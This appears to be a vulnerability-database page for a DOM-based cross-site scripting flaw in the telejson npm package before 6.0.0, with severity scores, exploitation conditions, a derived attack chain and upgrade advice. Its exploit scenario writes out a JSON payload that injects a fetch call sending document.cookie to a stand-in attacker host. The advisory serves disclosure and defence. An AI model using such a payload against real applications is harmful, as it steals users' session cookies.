Skip to main content

TeleJSON CVE-2026-47099

| EUVDEUVD-2026-31150 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-05-20 VulnCheck
2.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Deliver crafted postMessage payload to target frame
  2. Delivery
    Victim application passes message data to telejson.parse()
  3. Exploit
    Reviver processes _constructor-name_ property
  4. Execution
    Unsanitized name injected into new Function() call
  5. Persist
    Arbitrary JavaScript executes in victim application origin
  6. Impact
    Session token or credential exfiltration to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application (1) depends on telejson < 6.0.0, and (2) calls telejson.parse() on attacker-influenced JSON - specifically JSON that can contain an attacker-controlled _constructor-name_ property value. The primary delivery vector described in the advisory is postMessage in cross-frame communication: the application must listen for cross-frame messages and pass their content to telejson.parse() without prior sanitization of the _constructor-name_ field. User interaction is required per CVSS UI:R - a victim must load or interact with a page or frame that triggers the malicious parse call. No authentication is required from the attacker (PR:N per CVSS). Exploitation is limited by: (a) the victim application must expose a postMessage listener or other cross-origin input path to telejson.parse(); (b) the victim user must visit or be lured to a context that delivers the payload; (c) applications that only parse internally-generated, fully-trusted JSON are not exploitable regardless of telejson version. Applications that have already set allowFunction: false (available only in 6.0.0+) are not exploitable via this path.

Impact

The CVSS 6.1 Medium score (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects several important signals: the attack is network-reachable with no authentication required and low complexity, but requires user interaction (UI:R), which limits fully automated mass exploitation. The Changed Scope (S:C) indicates the injected JavaScript runs in the victim application's browser origin, enabling cross-origin impact beyond the vulnerable component itself. EPSS data was not provided in the available intelligence, so probabilistic exploitation likelihood cannot be quantified. KEV status is not confirmed - this CVE does not appear in the CISA Known Exploited Vulnerabilities catalog based on available data. No standalone POC repository has been identified, but the GHSA advisory's disclosure of exact vulnerable code at a named git tag (v5.3.3) makes exploit development straightforward. Real-world risk is highly context-dependent: applications that use telejson to parse trusted, internally-generated JSON carry minimal risk, whereas those that relay postMessage payloads or other cross-origin input directly into telejson.parse() face meaningful XSS exposure. The UI:R constraint means exploitation is not fully automated but is achievable by luring a victim to an attacker-controlled page.

Exploit ScenarioDerived

An attacker hosts a malicious page and lures a victim user to visit it; the page creates a hidden iframe pointing to the target application and sends a postMessage containing crafted JSON such as {"_constructor-name_": "x(){};fetch('https://attacker.example/?c='+document.cookie);//"} - the target application's message handler calls telejson.parse() on the received data, the unsanitized constructor name is injected into new Function(), and the attacker's JavaScript executes in the target application's origin, exfiltrating session cookies or performing arbitrary DOM manipulation. No authentication to the target application is required from the attacker. No public POC repository has been identified, but the GHSA advisory's publication of the exact vulnerable code at git tag v5.3.3 makes construction of this payload straightforward.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 20, 2026

DOM-based cross-site scripting in telejson versions prior to 6.0.0 allows unauthenticated remote attackers to execute arbitrary JavaScript by supplying a crafted JSON payload to the parse() function, specifically via a malicious _constructor-name_ property that is injected unsanitized into a new Function() call during prototype reconstruction. All applications using telejson < 6.0.0 that pass externally-sourced JSON - particularly those using postMessage for cross-frame communication - to telejson.parse() are affected. No public exploit has been identified at time of analysis, though the GHSA advisory (GHSA-ccgf-5rwj-j3hv) publishes both vulnerable and patched source code at named release tags, substantially lowering the barrier to exploitation. Vendor-released patch is available as telejson 6.0.0.

RemediationAI

Upgrade telejson to version 6.0.0 or later - this is the vendor-confirmed fix documented in GHSA-ccgf-5rwj-j3hv (https://github.com/storybookjs/telejson/security/advisories/GHSA-ccgf-5rwj-j3hv). The 6.0.0 release sanitizes constructor names via regex and gates the code path behind allowFunction, meaning the vulnerable new Function() call is not reached unless explicitly enabled. If an immediate upgrade is not feasible, the most effective compensating control is to strip or reject any _constructor-name_ key from JSON input before passing it to telejson.parse() - this prevents the vulnerable reviver branch from activating entirely, with no functional side effect for applications not relying on custom prototype reconstruction. Applications that use postMessage for cross-frame messaging should additionally validate message origin against a strict allowlist (event.origin === 'https://trusted-domain.example') before passing message data to telejson.parse(), which limits the attacker's delivery channel; note that origin validation alone does not fix the underlying unsanitized new Function() call and must be combined with input sanitization or upgrade. Generic 'disable JavaScript' or WAF-based mitigations are ineffective for DOM-based XSS of this class.

Affected VersionsENISA

telejson 0 <6.0.0

Affected Packages

npm telejson fix: 6.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

TeleJSON (CPE: cpe:2.3:a:storybookjs:telejson) is an npm package by Storybook used to serialize and deserialize JavaScript objects - including those with custom prototypes - primarily for cross-frame communication scenarios. The vulnerable code path lives in parse()'s custom reviver: when deserializing an object that carries a _constructor-name_ property, the reviver at src/index.ts lines 293-299 (v5.3.3) passes the raw name string directly into new Function() via template literal interpolation (e.g., new Function('return function ${name}(){}')()). Because CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause, any non-word characters in the attacker-controlled name value escape the function wrapper and become executable JavaScript. The fix in 6.0.0 applies two mitigations simultaneously: it strips non-word characters with a regex allowlist (name.replace(/[\W_]+/g, '')) before passing to new Function(), and gates the entire prototype-reconstruction code path behind a new allowFunction option, so applications that do not need this feature are no longer exposed by default.

Know when Telejson gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck) · only source for this CVE.

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
May 20, 2026 - 20:22 NVD
MEDIUM LOW
CVSS changed
May 20, 2026 - 20:22 NVD
6.1 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

TeleJSON prior to 6.0.0 contains a DOM-based cross-site scripting vulnerability in the parse() function that allows attackers to execute arbitrary JavaScript by delivering a crafted JSON payload containing a malicious _constructor-name_ property value. The custom reviver passes the constructor name directly to new Function() without sanitization when recreating object prototypes, enabling attackers to inject arbitrary JavaScript through vectors such as postMessage in cross-frame communication contexts to achieve script execution within the application.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy